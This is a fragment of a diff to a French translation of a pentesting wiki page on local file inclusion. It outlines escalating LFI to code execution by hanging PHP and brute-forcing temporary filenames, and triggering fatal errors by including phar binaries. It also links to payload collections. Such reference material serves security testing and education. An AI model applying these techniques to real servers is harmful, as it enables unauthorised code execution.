@ -643,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Si vous pouvez abuser du LFI pour **upload temporary files** et faire que le serveur **hang** l'exécution PHP, vous pourriez ensuite **brute force filenames during hours** pour trouver le fichier temporaire :
Si vous pouvez abuser du LFI pour **upload temporary files** et faire en sorte que le serveur **hang** l'exécution PHP, vous pourriez ensuite **brute force filenames during hours** pour trouver le fichier temporaire :
{{#ref}}
@ -652,14 +657,15 @@ lfi2rce-via-eternal-waiting.md
### To Fatal Error
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
**Je ne sais pas en quoi c'est utile mais ça pourrait l'être.**\
_Même si vous provoquez un PHP Fatal Error, les PHP temporary files uploaded sont supprimés._
_Même si vous provoquez une PHP Fatal Error, les fichiers temporaires PHP uploadés sont supprimés._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Références
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)